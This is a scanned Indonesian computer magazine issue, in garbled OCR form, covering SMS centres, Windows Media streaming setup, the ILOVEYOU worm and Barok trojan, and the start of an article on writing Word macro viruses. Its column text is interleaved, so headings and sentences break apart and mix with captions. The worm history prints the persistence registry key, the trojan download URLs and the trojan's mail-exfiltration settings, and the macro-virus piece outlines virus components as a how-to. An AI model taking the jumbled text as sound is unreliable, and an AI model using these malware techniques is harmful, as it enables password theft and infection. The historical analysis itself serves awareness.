SMS CENTER, SEBAIKNYA kita pelajari dulu apa sih SMS itu? SMS (Short Message Service) adalah sebuah layanan pengiriman pesan singkat dari dan ke telepon seluler, mesin fax, dan atau sebuah IP address. Layanan ini disebut sebagai layanan pesan singkat karena memang lebar karakter dalam pesan ini hanya sebanyak 160 karakter alfanumerik dan tidak berisi gambar atau grafik. Suatu provider telepon seluler pasti menyediakan layanan ini sebagai salah satu layanan utama provider tersebut. SMS didukung oleh GSM, TDMA, dan CDMA yang berbasis pada telepon seluler yang saat ini banyak digunakan. Karena layanan berbasis SMS telah digunakan selama bertahun-tahun, maka penetrasi telepon seluler dan user yang menggunakan layanan ini sudah sangat banyak, yang membuat layanan berbasis SMS menjadi sebuah layanan yang menarik. Sekarang ini otomatisasi dalam layanan ini dimanfaatkan untuk berkomunikasi secara singkat pada para konsumen suatu perusahaan. Contohnya adalah layanan pesan antar yang menggunakan SMS, ataupun layanan informasi yang secara otomatis me-reply pada para pelanggan. Oleh karena itu para provider telekomunikasi seluler pun saling bersaing dalam membuat content pada layanan berbasis SMS-nya yang membuatnya semakin menarik bagi para konsumen. Pengiriman SMS dari web berbayar dan gratis pun telah banyak meraih keuntungan.

S M S DAN G S M HAC K I N G

S

EBELUM KITA MEMBAHAS

pesan akan segera dikirim. SMSC menerima verifikasi kalau pesan tersebut sudah diterima oleh nomor yang dituju dan mengkategorikan pesan tersebut sebagai sebuah pesan "terkirim" dan tidak akan melakukan percobaan pengiriman pesan lagi. Prinsip dasarnya adalah bahwa hanya ada satu Short Message Service Center yang menerjemahkan pesan untuk dikirimkan pada sebuah jaringan GSM. Kesulitan yang mendasar dalam membangun sebuah layanan berbasis SMS adalah karena beragamnya protokol yang digunakan untuk terhubung pada sebuah SMSC. ETSI (European Telecommunication Standards Institute) telah mengakui bahwa di dunia digunakan empat macam protokol yang berbeda untuk terhubung ke suatu SMSC, artinya bahwa sebuah SMSC harus memiliki satu dari keempat protokol yang telah ditentukan ETSI tersebut. Protokol tersebut adalah SMPP oleh Logica, CIMD oleh Nokia, UCP/EMI oleh CMG, dan SMS2000 oleh SEMA. Semua protokol ini mempunyai fungsi yang berbeda satu sama lain dan juga mempunyai konversi karakter yang jauh berbeda satu sama lain. Dukungan terhadap semua protokol ini merupakan keharusan bagi sebuah provider SMS. Ada beberapa SMS Gateway yang dapat terhubung pada beberapa atau bahkan semua protokol tersebut.

SMS Center
Sekali sebuah pesan dikirim, pesan tersebut akan diterima dahulu oleh SMS Center (SMSC) yang kemudian harus disampaikan pada nomor tujuan. Untuk melakukan ini, SMSC mengirimkan sebuah sms request ke Home Location Register (HLR) untuk menemukan pelanggan tujuan. H Saat HLR menerima pesan tersebut maka, HLR akan merespon ke SMSC dengan status pelanggan berupa:
1. inactive atau active 2. letak pelanggan yang dimaksud (pelanggan tujuan/ destination number).

Gambar 1. Koneksi SMSC terhadap MSC, HLR yang dilakukan melalui Signal Transfer Point (STP).

Jika responsnya inactive maka SMSC akan meng-hold pesan tersebut sampai pada periode tertentu. Saat pelanggan tersebut menyalakan handsetnya maka akan terjadi update location pada HLR, dan HLR akan mengirimkan status terhadap pesan yang belum terkirim pada SMSC, kemudian SMSC segera mengirimkan pesan yang belum terkirim tersebut pada pelanggan yang dituju. SMSC mentransfer pesan dalam format Point to Point pada sistem yang melayani. Sistem pertama-tama mecoba melihat status nomor pelanggan tersebut, jika aktif maka
24

SMS dapat dikirimkan dan diterima bersamaan dengan voice, data, dan fax. Ini dimungkinkan karena voice, data dan fax menggunakan channel yang berbeda dengan SMS. Oleh karena itu pengguna SMS jarang atau tidak pernah mendapatkan signal sibuk pada saat jaringan voice sedang sibuk, kecuali memang SMS Center tersebut memang sibuk. Berbeda kondisinya apabila jaringan sedang sibuk. Oleh karena itu persyaratan untuk dapat menggunakan SMS sangatlah mudah, diantaranya adalah:
1. Berlangganan pada sebuah provider jaringan seluler 2. Sebuah handset yang mendukung SMS. 3. Layanan SMS harus di-enabled pada sisi provider seluler terhadap pelanggan tersebut 4. Pengetahuan tentang bagaimana menulis dan mengirimkan sebuah SMS. 5. Tujuan SMS.

NeoTek Vol. IV No. 08

NeoStart
Bahasan Handphone pada NeoTek
da baiknya anda membaca kembali bahasanbahasan mengenai handphone yang petrnah dimuat dalam NeoTek. Semua bahan-bahan itu dapat anda peroleh dari bagian Arsip situs NeoTek di http://www.neotek.co.id. Bahasan mengenai handphone pada NeoTek mencakup SMS, CSD, HSCSD, GPRS, WAP, Bluetooth, dan Wireless Java. NeoTek III/09

A

Memahami WAP: Nokia WAP Toolkit untuk Belajar WML Memahami WAP: WML dan WMLScript Gambar 2. Konfigurasi operasional suatu SMS Center. Memahami WAP: Konversi Grafik ke Format WBMP Wireless Program: WBMP On-The-Fly pada ASP Wireless Program: WBMP On-The-Fly pada PHP Memahami WAP: Reaktivasi Demo WinWAP 3.0 Pro Memahami WAP: Mengirim Email Melalui WAP Gateway Memahami WAP: POP Email Melalui WAP Gateway Memahami WAP: WAP Push Message Location Base Service: SMS Sebagai Penunjuk Jalan

Pengiriman sebuah SMS antara sebuah handset dengan handset lain dilakukan oleh sebuah SMS Center. SMSC adalah sebuah software yang di-install pada sebuah jaringan operator seluler dan me-manage proses-proses termasuk antrian pesan yang masuk, billing si pengirim, dan pengembalian status pesan jika dibutuhkan. Banyak operator kini menawarkan layanan berbasis web untuk mengakses SMS Center-nya, jadi kita dapat mengirimkan sebuah SMS ke mobile phone mana saja dari web tersebut. SMS menyedikan sebuah mekanisme untuk mengirimkan pesan singkat dari dan ke sebuah perangkat wireless. Layanan ini menggunakan fungsi dari SMSC, yang berfungsi seolah - olah sebagai sistem yang menyimpan dan meneruskan sebuah pesan singkat.

NeoTek III/11
Wireless Device: Java Enabled Phone Wireless Java: Mengenal J2ME Wireless Toolkit Wireless Java: Sony Ericsson P800 J2ME Wireless Toolkit Wireless Java: Device Nokia Seri 40 J2ME Wireless Toolkit Wireless Java: Aplikasi MIDP pada J2ME Wireless Toolkit Wireless Java: Nokia Developer’s Suite for J2ME

eSMS-C
eSMS-C adalah SMSC yang dikembangkan oleh Ericsson yang menawarkan fungsi pesan singkat, pesan notifikasi, dan e-mail. Untuk fitur tambahannya eSMS-C menawarkan layanan-layanan berupa:
1. Information Service. Layanan seperti info berita, olahraga, jumlah saham dan lain sebagainya. 2. Layanan Over The Air. Layanan seperti setting GPRS over the air, dan lain - lain. 3. Telemetry Application, seperti vending machine, remote meter reading, dan lain - lain. 4. Mobile E-Commerce, seperti mobile banking, movie ticket, dan lain - lain.

NeoTek Vol. III/12
Komunikasi Data lewat Ponsel: CSD, HSCSD, GPRS, dan G3 Internet lewat HP: Dial-up Internet ke ISP lewat Koneksi CSD Internet lewat HP: Dial-up Internet ke Operator GPRS

eSMS-C mendukung protokol seperti:
1. SMPP, Short Message Protocol Peer to Peer adalah protokol standar yang diberikan oleh Ericsson untuk sebagai protokol untuk pengiriman pesan singkat. 2. CAP II, Computer Access Protocol II adalah protokol untuk pengiriman pesan singkat yang juga dikembangkan oleh Ericsson untuk kegunaan aplikasi berbasis web. 3. SMTP, Simple Mail Transfer Protocol yang juga digunakan untuk meng-convert sebuah SMS menjadi sebuah e-mail dan sebaliknya.

NeoTek Vol. IV/01
Memahami Bluetooth: Dial-up Internet GPRS dengan Ponsel Bluetooth

NeoTek Vol. IV/02
Mobile Media: Series 60 SDK 1.0 Symbian Ed.

NeoTek IV/03
Navigasi dengan GPS atau LBS? Khusus Mentari/Matrix: Kirim SMS Bisa Gratis!

Vol. IV No. 08 NeoTek

25

NeoStyle

Windows Media Server
Sebagai pembanding terhadap Darwin Streaming Server yang dibahas di NeoTek IV/07, Fitrianto Halim (fitriantoh@hotmail.com) akan mengulas Windows Media Server yang dapat digunakan untuk video streaming server, baik live (broadcast) serta on demand.
MEDIA SERVER UMUMNYA DISERTAKAN PADA operating system dari Microsoft yang diperuntukkan untuk server, misalkan pada MS Windows 2000 server. Ada empat buah service yang berkaitan dengan Windows Media server, yaitu: • Windows Media Monitor Service • Windows Media Program Service • Windows Media Station Service • Windows Media Unicast Service Pada artikel ini, penulis hanya akan mengulas Windows Media Unicast Service, karena kemampuannya sudah mencukupi untuk membuat video streaming server, baik broadcast maupun on demand. Oleh karena itu, perhatikan statusnya haruslah Started, baik untuk Startup Type dengan nilai Automatic ataupun Manual.

R AD I O DAN T V I NTE R N ET

W

INDOWS

Untuk mengkonfigurasi Windows Media Unicast Service, pada Configure Server klik link Unicast Publishing Points.

Gambar 4. Unicast Publishing Points

Gambar 1. Status Service Windows Media harus Started

Path default untuk on demand adalah \ASFRoot tempat kita meletakkan file-file ASF. Dalam percobaan penulis, bisa juga digunakan format WMV di samping format ASF.

Untuk menggunakan Windows Media server, pada Control Panel > Administrative Tools, klik Windows Media. Maka akan muncul Windows Media Administrator.

Gambar 5. Default path di \ASFRoot

Untuk mencobanya, gunakan Windows Media Player lalu masukkan URL berikut: ms://localhost/sample.asf

Gambar 2 dan 3. Pada Control Panel pilih Administrative Tools dan klik Windows Media untuk menampilkan Windows Media Administrator dari dari sini pilih Unitcast Publishing Point 26

Gambar 6. Memainkan sample.asf

NeoTek Vol. IV No. 08

NeoStyle
Untuk mengubah path default \ASFRoot caranya cukup mudah, yaitu klik kanan alias yang bersangkutan, maka akan muncul menu pop-up dengan dua pilihan, yaitu: Properties... dan Delete. Untuk keperluan kita, tentunya kita pilih Properties...

Broadcast Publishing Point
Setelah on demand, kini kita beralih untuk mencoba broadcast Klik tombol Broadcast, lalu pada menu pop-up pilih New... Bagian penting dalam konfigurasi adalah memilih sumber S (Specify source). Penulis menggunakan sumber Windows Media Encoder. Bagian penting lainnya adalah pembuatan broadcast publishing point. Perhatikan untuk input Path: dan Port: harus disesuaikan dengan kondisi video broadcast Windows Media Encoder. Penulis menggunakan Windows Media Encoder versi 9 untuk Windows 2000 dan XP (bisa anda peroleh pada CD NeoTek Vol. IV/02). Secara garis besar, cara membuat video broadcastnya hampir sama dengan Windows Media Encoder sebelumnya (versi 7.1). Namun penulis memberikan langkahlangkahnya.

On-Demand Publishing Point

Untuk membuat on-demand publishing point baru, caranya klik tombol On-Demand, lalu pada menu pop-up pilih New... Langkah-langkah selanjutnya bisa anda lihat pada Gambar 7-10. Bila pernah mengkonfigurasi web server, maka publishing point dapat diibaratkan sebagai virtual directory.

Gambar 7, 8, 9, 10. Mengkonfigurasi on-demand publishing point baru

Gambar 11, 12, 13, 14. Specify Source dari Windows Media Encoder

Vol. IV No. 08 NeoTek

27

NeoStyle

• Pada tab Wizards di New Session, pilih Broadcast a live event.

• Pada tab Sources, untuk Source from: pilih File lalu klik Browse... untuk memilih file yang digunakan.

• Untuk Broadcast Method pilih Pull from the encoder (the server or player initiates the connection).

• Pada tab Compression, pilih profile yang ingin digunakan. • Salah satu bagian menarik dari Windows Media Encoder versi 9 adalah adanya pilihan apa yang akan dilakukan setelah suatu source selesai di-encoding. Anda bisa memilih: Stop, Loop, Roll over to next source, atau Roll over to first source. Agar semua source di-encoding, tentunya kita akan memilih Roll over to next source, terkecuali untuk source terakhir kita bisa memilih Stop atau Roll over to first source (sequential loop).

Menguji Video Broadcast
Untuk menguji hasil video broadcast dengan Windows Media Encoder, gunakan Windows Media player, yang untuk contoh di atas masukkan URL: http://localhost:1075 Setelah berhasil, kita coba broadcast dari Windows Media server menggunakan Windows Media Player, yang untuk contoh di atas kita masukkan URL: mms://localhost/live

Penutup
Windows Media server dapat digunakan untuk video streaming server baik on demand dan broadcast (yang sebenarnya me-relay dari suatu sumber lainnya). Windows Media Encoder versi 9 lebih baik bila dibandingkan 7.1 dan dapat untuk membuat TV internet.

• Perhatikan bagian Broadcast Connection; bagian ini yang digunakan saat mengkonfigurasi broadcast di Windows Media server. • Pada bagian utama dari Windows Media Encoder, klik tombol Properties.
28

NeoTek Vol. IV No. 08

NeoStyle

Windows Media Encoder
Sebagai pembanding terhadap Darwin Streaming Server dibahas pula Windows Media Encoder yang merupakan software video broadcast gratis dari Microsoft.
ENCODER DAPAT DIKATAKAN SUATU utility yang menarik dari Microsoft, karena dapat digunakan untuk keperluan broadcast, capture dan konversi. Pada artikel ini, penulis akan menguraikan bagaimana cara mem-broadcast video dengan Windows Media Encoder 7.1, dengan operating system yang digunakan Windows 98. • Jalankan Windows Media Encoder, pilih Broadcast, capture, or convert a file using the New Session Wizard, klik OK

R AD I O DAN T V I NTE R N ET

W

INDOWS MEDIA

• Pada Broadcast Connection, isi HTTP port: dengan port yang anda inginkan. Jika tidak mengetahui port mana yang free, klik tombol Find Free Port (atau, dari DOS prompt ketikksn netstat -a untuk mengetahui port apa saja yang sedang digunakan). Selanjutnya, klik Next >

• Pilih Broadcast a live event from attached devices or computer screen dan klik Next >

• Pada Profile Selection, pilih profile yang diinginkan. Tiap profile memiliki video size, bit rate, dan fps berbeda. Selanjutnya, klik Next >

• Pada Device Options, jangan lupa memberi tanda tick untuk Video: dan klik Next > Vol. IV No. 08 NeoTek
29

NeoStyle

• Kita akan mendapat tampilan utama Windows Media Encoder.

• Pada tab Sources and Archive, untuk Video: pilih Browse for file...

• Pada menu utama pilih Tools > Add or Remove Sources...

• Pilihlah file video atau image yang akan di-broadcast (Anda bisa memilih file yang memiliki format *.asf, *.wmv, *.bmp, *.avi, *.mpg). Perhatikan pula hanya sebuah file yang dapat dipilih. Selanjutnya, klik Open. Maka akan tampak perubahan untuk input Video: dan Audio:.

• Pilih group Live dan klik Change...
30

NeoTek Vol. IV No. 08

NeoStyle

• Anda juga dapat membuat sebuah source baru dari menu Tools > Add or Remove Sources... . Caranya, klik New... Pada bagian New Source Group, jangan lupa untuk memberi nama (input Name: ). Untuk langkah-langkah lainnya sama dengan cara mengubah source. • Untuk memulai broadcast, klik Start. Sedang untuk menghentikan broadcast, klik Stop Untuk mengujinya anda bisa menggunakan Windows Media player, yang untuk contoh di atas anda bisa memasukkan URL (bisa dengan shortcut Ctrl+U): http://localhost:8080 Salah satu kelemahan broadcast video dengan Windows Media Encoder adalah munculnya pesan kesalahan setelah sebuah source berakhir. Untuk mengatasinya, Anda harus berpindah ke source selanjutnya sebelum source yang sedang dibroadcast berakhir, yaitu dengan cara mengklik source selanjutnya yang akan di-broadcast.

Penutup
Dari uraian di atas dapat disimpulkan bahwa Windows Media Encoder dapat dipergunakan untuk membuat TV internet, walau masih terdapat beberapa kelemahan di Windows Media Encoder.

Bug, bug, bug... Pesan kesalahan pada Windows Media Encoder setelah suatu source berakhir.

Vol. IV No. 08 NeoTek

31

NeoTekno

Onel de Guzman, I Love You, Barok
Belajar virus dari sejarahnya, itulah yang dibawakan oleh Happy Candraleka (cakrabirawa@mail.ru). Ternyata ‘orang biasa’ bisa menjadi ancaman karena tidak pahamnya masyarakat bahkan para akademisi terhadap budaya kreatif.
nya mempelajari sejarah. Dari mempelajari sejarah banyak diperoleh pelajaran-pelajaran yang bermanfaat. Prinsip yang dipegang oleh para arkeolog ini akan kita coba terapkan dalam dunia digital. Dalam kaitannya dengan mempelajari sejarah, pada artikel ini akan penulis ungkap sesuatu hal yang menggemparkan dunia komputer beberapa tahun yang silam, yang dibuat oleh seorang mahasiswa muda usia. Yang menarik, ini semua dibuat oleh seorang anak dari negara tetangga yang sama-sama negara berkembang dengan Indonesia, yaitu Filipina. Artikel yang sedang Anda baca ini merupakan kupas tuntas yang mencoba untuk menjelaskan tentang anak muda yang bernama Onel de Guzman, I Love You, dan Barok. Tentu saja dengan benang merah diantara ketiganya. Nama yang pertama dan kedua yang penulis sebut di atas bisa jadi telah anda dengar. Tetapi nama yang ketiga penulis kira anda belum mendengarnya. Ada apa dibalik nama ketiga dan ketiga nama tersebut? Untuk itulah artikel ini ditulis.

VI R U S DAN WO R M

S

EORANG PEMIMPIN PERNAH MENEKANKAN PENTING-

Perlu diketahui bahwa pada saat itu biaya akses Internet di Filipina tergolong tinggi dan dihitung per jam. Satu jam akses dihargai sekitar 100 Peso atau setara dengan 2 sampai 3 US Dollar. Kalikan saja dengan 8.300 untuk mendapatkan besaran dalam Rupiah. Walhasil, untuk berlama-lama mengakses Internet di sana hanyalah milik orang-orang borjuis saja. Inilah yang kemudian bermuara pada dibuatnya I Love You dan juga trojan Barok yang dapat Anda simak selanjutnya di artikel ini.

Bermula dari Sebuah Thesis
Seperti pada umumnya mahasiswa, mereka juga diharuskan membuat suatu proyek sebagai bagian dari tugas perkuliahan dan juga sebagai tugas akhir untuk kelulusannya. Tidak terkecuali Onel de Guzman. Sebagai seorang mahasiswa, anak muda ini, yang cerdas dalam pemrograman, juga mengajukan proposal thesis. Judul yang diajukan ke para dosennya adalah Email Pass word Sender Trojan. Dari judulnya saja anda bisa berkata bahwa ini adalah sebuah judul yang dapat membuat 'bulu kuduk seseorang berdiri.' Cukup seram untuk sebuah judul thesis. Dengan ruang lingkup yang dibahas adalah 'software product' alias pembuatan program. Email Password Sender Trojan dalam thesis Onel de Guzman merupakan sebuah trojan sederhana yang dapat mengirimkan password-password seseorang ke email account yang telah ditentukan. Password yang dikirimkan adalah password screen saver, web, RAS (Remote Access Server); termasuk cache password. Onel de Guzman dalam thesisnya berpendapat bahwa program yang dia buat akan bermanfaat bagi orang banyak untuk mendapatkan password Windows. Misalnya untuk mendapatkan Internet Account seseorang sehingga dapat ber-Internet ria tanpa perlu membayar. Ongkos akses Internet dibebankan kepada pemilik account sesungguhnya. Bagaimana menurut Anda ide ini? Suatu kesenangan di atas penderitaan orang lain. Proposal yang diajukan Onel de Guzman kandas. Kampusnya menolak usulan proposal thesis tersebut dan menganggapnya melanggar etika. Thesis Onel de Guzman selengkapnya dapat anda baca di http://www.computerbytesman.com/lovebug/thesis.htm

Onel de Guzman
Gambar 1. Onel de Guzman dari Filipina

Sebelumnya ia adalah seorang yang biasa saja dalam dunia komputer, seperti juga orang-orang lain yang intens dalam dunia ini. Tidak banyak yang mengenal. Namanya mencuat tatkala ia disebut-sebut sebagai pembuat worm yang merupakan kambing hitam terhadap kerugian besar di bumi. Onel de Guzman hanyalah seorang mahasiswa dari AMA Computer College di kota Makati, Filipina. Seandainya dia tidak tersangkut masalah ini, tentu dia dapat lulus dari College-nya secara terhormat. Anak muda ini merupakan salah seorang anggota dari sebuah kelompok komputer yang bernama Grammersoft. Kelompok ini−seperti diungkap CNN−telah beberapa kali mencoba untuk meng-hack ISP terbesar di negeri itu yaitu Moscom Internet. Dan setidaknya dua kali menyebarkan virus secara sengaja ke para pelanggan Moscom. Penulis kira Onel de Guzman dengan Grammersoft berusaha untuk mencari jalan dalam rangka mendapatkan akses internet secara gratis.
32

I Love You
Siapa yang tidak mengenal I Love You yang mencetak hit pada seputar bulan Mei tahun 2000. Boleh dibilang hampir semua pengguna komputer mengenal atau setidaknya pernah mendengarnya, karena daya sebarnya yang luar biasa sehingga menggemparkan dunia.

NeoTek Vol. IV No. 08

NeoTekno
Gambar 2. Worm I Love You

Kerugian yang diakibatkannya ditaksir sekitar 7 milyar dan bahkan mampu mencapai 10 milyar US Dollar (CNN.com). Bisa jadi anda pernah dikirimi I Love You. I Love You yang mempunyai nama lain Lovebug atau Love Letter, sebenarnya merupakan sebuah worm. Memperbanyak diri dengan meng-copy dirinya dan mampu membawa rutin-rutin destruktif yang tidak diinginkan user. Tepatlah bila worm ini digolongkan ke dalam malicious software alias program jahat. Worm ini ditemukan pada tanggal 4 Mei 2000 (F-Secure). Dalam kondisi ini worm dikatakan in the wild. Sudah berada di dunia luar, lepas dari laboraturium dan tersebar luas. Bila worm masih berada pada komputer pembuatnya, masih berada pada komputer Onel de Guzman dan belum tersebar ke luar, maka diistilahkan berada dalam keadaan in the zoo. Setiap virus, worm, dll terdapat signature atau tanda yang membedakannya dengan 'organisme' lain. Pada badan worm I Love You juga terdapat signature atau tanda yang merupakan ciri khasnya seperti di bawah ini:
rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines

Spyder merupakan nama samaran buat Onel de Guzman di dunia cyber. (Bila yang dia maksudkan adalah laba-laba, harusnya Spider dan bukan Spyder). Rem merupakan singkatan dari kata remark yang artinya komentar. Dalam bahasa pemrograman BASIC, tulisan-tulisan (statement program) yang ada setelah rem dianggap sebagai komentar dan tidak akan dieksekusi oleh kompiler. Dalam pemrograman, rem bermanfaat untuk mempermudah pelacakan kesalahan, memberi tanda, atau memberi komentar pada suatu kode atau blok program, sehingga mempermudah programmer lain membaca kode programnya. Sembarang tulisan dapat ditambahkan setelah rem. Di sini Onel de Guzman memanfaatkannya sebagai pengenal worm I Love You.

dengan @m yang menyebar hanya lewat email yang anda kirim keluar. I Love You mengganti dan menambahkan beberapa tipe file. Diantaranya file-file dengan ekstensi *.jpg atau *.jpeg menjadi file dengan penambahan *.vbs. Misalnya file Gambar.jpg akan menjadi Gambar.jpg.vbs. Selain itu dia juga melakukan hal yang sama pada file-file dengan ekstensi *.mp3 atau *.mp2. Untuk hal ini yang perlu diperhatikan adalah bahwa bila anda mengaktifkan fitur Hide file extension for known file types pada Folder Options window (Gambar 3), maka penambahan ekstensi kedua (*.vbs) tidak akan nampak. Seolah-olah tidak ada perubahan sama sekali. Inilah yang dicoba untuk dimanfaatkan oleh worm I Love You. Itu semua adalah sebagian contoh efek Gambar 3. Folder Option destruktif yang dibawa oleh worm I Love You. Tetapi efek destruktif tersebut akan tergolong kecil bila anda melihat kemampuan berbahaya lain berikut ini yang dibawa oleh worm ini. Efek yang berbahaya sekali adalah worm ini membuka gerbang untuk masuknya trojan yang telah disiapkan sendiri oleh Onel de Guzman. Worm I Love You akan memodifikasi Internet Explorer, tepatnya memodifikasi Start Page IE. Yang diubah adalah bagian registry Windows, yaitu pada key ini:
Hkey_Current_User\ Software\ Microsoft\ Internet Explorer\ Main\ Start Page

Key Start Page diarahkan pada salah satu dari empat alamat URL berikut ini yang ditentukan secara random (acak):
http://www.skyinet.net/~young1s/ … /WIN-BUGSFIX.exe http://www.skyinet.net/~angelcat/ … /WIN-BUGSFIX.exe http://www.skyinet.net/~koichi/ … /WIN-BUGSFIX.exe http://www.skyinet.net/~chu/ … /WIN-BUGSFIX.exe

Efek Destruktif I Love You
I Love You menyebar melalui email sebagai surat berantai (chain letter). Daya sebar I Love You tergolong cukup cepat. Pada tanggal 8 Mei 2000 pukul 05:00 PM CERT Coordination Center menerima laporan lebih dari 650 situs individu yang mengindikasikan 500.000 sistem individu yang terinfeksi I Love You. Penyebaran yang cepat dimungkinkan karena I Love You memanfaatkan buku alamat pada Outlook untuk melakukan mass mailing. I Love You akan mengirim email berisi copy dirinya ke setiap alamat yang ada pada buku alamat tersebut. Sehingga worm ini digolongkan ke dalam @mm (menyebar melalui email secara mass mailing). Berbeda

Keempat URL tersebut mengarah pada file yang sama yaitu WIN-BUGSFIX.exe. Akibatnya bila user menjalankan browser Internet Explorer maka akan langsung men-download file WIN-BUGSFIX.exe. Apa sesungguhnya file ini? Benarkah file ini merupakan patch untuk memperbaiki Sistem Operasi Windows yang memang banyak terdapat bug? Dan file ini hadir sebagai penolong? File ini pada hakikatnya adalah sebuah trojan yang membawa peran tersendiri. Onel de Guzman berharap ada orang yang tertipu dari manuver yang dibuatnya. Tidak sampai di situ, ada juga bagian lain yang diubah untuk memuluskan skenario ini. Bagian registry Windows yang dimodifikasi lainnya adalah pada key ini:
Hkey_Local_Machine\Software\Microsoft\Windows\CurrentVers ion\Run\WIN-BUGSFIX

Key ini berfungsi memaksa Windows menjalankan file yang telah di-download tersebut setiap kali Windows dimulai. Vol. IV No. 08 NeoTek
33

NeoTekno
Penulis kira inilah peran khusus dari worm I Love You. Setelah file WIN-BUGSFIX.exe berhasil di-download dan Windows siap menjalankan file ini, maka peran worm ini selesai. Peran selanjutnya dijalankan oleh WIN-BUGSFIX.exe yang sejatinya merupakan trojan pencuri password. Client Barok adalah: • File name • Outgoing Mail Server (SMTP) • Destination Mail • Schedule Send. Barok dibuat juga oleh Spyder dan GrammerSoft. Untuk memprogram Client dan Server Barok ini Onel de Guzman menggunakan Microsoft Visual C++. Hal ini dapat diketahui dengan 'membedah' Barok menggunakan hex editor. Diantaranya pada offset A59C file Server.exe dan pada offset D6A8C file Client.exe terdapat informasi yang meGambar 5. Client Barok 2.0 nunjukkan tentang hal ini. Signature atau tanda juga terdapat pada Barok sebagai pengenal bahwa file tersebut adalah trojan Barok. Pada bagian server, yaitu mulai di offset B038 terdapat signature ini:
barok ->by:spyder @Copyright (c) 2000 GRAMMERSoft Group Gambar 7a. Signature pertama Barok Server

Windows Scripting Host
I Love You dibuat bahasa Visual Basic Script, sehingga mempunyai ekstensi *.vbs. Sebagaimana juga scriptscript Visual Basic lainnya, I Love You tidak dapat bekerja bila anda menonaktifkan atau tidak meng-install Windows Scripting Host. Ini adalah satu cara untuk melindungi diri dari serangan I Love You. Tetapi bila anda memutuskan untuk menonaktifkan Windows Scripting Host, maka pertimbangkanlah script-script yang Gambar 4. Windows scripting host lainnya, karena bisa tidak berjalan juga. Windows Scripting Host dapat Anda akses melalui fitur Add/Remove Programs Properties di Control Panel. Pada Gambar 4 diperlihatkan komponen Windows Scripting Host yang telah ter-install. Perhatikan bagian Description pada kotak dialog tersebut. Pada bagian itu Microsoft sendiri menjelaskan bahwa Windows Scripting Host dapat digunakan untuk mengotomatisasikan tugas-tugas dalam Windows. Ini adalah satu sinyalemen. Otomatisasi bagai pisau bermata dua. Dengan otomatisasi tugas-tugas anda menjadi mudah dan cepat. Ini berarti satu keuntungan dalam proses produksi atau bekerja. Tetapi jangan lupa, dengan otomatisasi pula segalanya berjalan dengan sendirinya padahal tidak diinginkan user. Berjalan diluar kontrol user yang menggunakan komputer itu. Ini satu sisi lain yang bersifat negatif. Dalam koridor otomatisasi, yang berperan penting adalah rutin-rutin yang dijalankan. Hal ini tergantung sang programmer.

Signature lainnya dapat dilihat pada offset B340, akan anda jumpai seperti di bawah ini:
BAROK…student of amacc mkt. phils ->by:spyder @Copyright (c) 2000 GRAMMERSoft Group Gambar 7b. Signature kedua Barok Server

Barok
Sebagaimana telah dijelaskan dimuka bahwa I Love You berperan membuka jalan bagi penyebaran dan penetrasi trojan yang telah disiapkan Onel de Guzman ke komputer sasaran. Selanjutnya peran diambil alih oleh trojan. Barok disebar oleh I Love You dari empat alamat URL pada webserver SkyInet. Barok seperti trojan-trojan lainnya mempunyai dua bagian. Yaitu bagian client dan server. Berbeda dengan kebanyakan trojan yang ada, Barok bukanlah tipe remote control. Barok berbeda dari Back Orifice atau SubSeven yang pernah penulis bahas. Perhatikan dua bagian trojan Barok: Trojan Barok yang banyak beredar di Internet sangat beragam dari versi Barok 1.0, Barok 2.0, dan Barok 2.1. Pada penulis terdapat Barok versi 2.0 dengan ukuran paket zip sebesar 335 KB. Ada tiga file pada paket tersebut, tetapi intinya hanya dua bagian yaitu file Client.exe dan Server.exe. Trojan Barok merupakan trojan yang dapat dikonfigurasi. Bagian Client merupakan unit untuk mengkonfigurasi bagian Server. Bagian yang dapat dikonfigurasi pada
34

Berdasarkan pengujian yang penulis lakukan terhadap trojan Barok ini, baik unit Client ataupun unit Server, telah terdeteksi oleh Antivirus McAfee.

Satu di Antara yang Lain
Antara Onel de Guzman, I Love You, dan Barok terdapat suatu mata rantai yang saling berkait. Anak muda yang berusia 24 tahun itu−usia yang sama ketika Chen Ing Hau membuat virus CIH− membagi peran untuk I Love You dan Barok dalam rangka mencuri password Windows untuk kepentingan pribadi. Suatu kesenangan di atas penderitaan orang lain. Bagi kita semua tentu harus bersikap kritis dan meningkatkan kewaspadaan walaupun terhadap virus, worm atau trojan yang terlihat sepele sekalipun. Karena bisa jadi dia merupakan satu mata rantai dari skenario besar yang sedang berjalan. Mencegah lebih baik dari mengobati.

NeoTek Vol. IV No. 08

NeoTekno

Membuat Sendiri Virus Macro
Macro pada Microsoft Word dimaksudkan untuk mengotomatisasi pekerjaan. MA Rody Candera (odyxb@melva.org) menunjukkan bahwa otomatisasi dengan menggunakan Visual Basic pada Microsoft Word dapat pula berarti pembentukan virus menggunakan fasilitas macro.
ALAM EDISI-EDISI MAJALAH NEOTEK, MUNGKIN PEMbahasan mengenai virus sudah begitu cukup memberi pemahaman kepada pembaca sekalian. Tetapi tetap saja cukup banyak penulis yang tetap mengangkat masalah mengenai virus. Berbicara mengenai virus sebenarnya mengasyikkan karena pada dasarnya pemahaman yang lengkap mengenai virus baik untuk diketahui demi memberikan informasi yang baik kepada para pengguna komputer akan bahaya laten ini.

VI R U S DAN WO R M

D

1. Virus Sign Penanda; tanda pengenal yang dimiliki virus. Program anti virus menggunakan tanda pengenal yang dimiliki virus untuk mengenali suatu program virus. Contoh: Const marker="Make by Me-2D" 2. Duplicating Penggandaan; kemampuan berkembang-biak dengan menggandakan dirinya. 3. Defense Pertahanan; kemampuan program virus untuk bertahan dari serangan yang ada. 4. Active Time Waktu Aktif; suatu rutin dimana rutin ini nantinya menentukan aktifnya program virus. 5. Manipulation Manipulasi; ini merupakan rutin program virus macro dimana memulai aksinya melakukan perusakan atau bahkan menghacurkan korbannya.

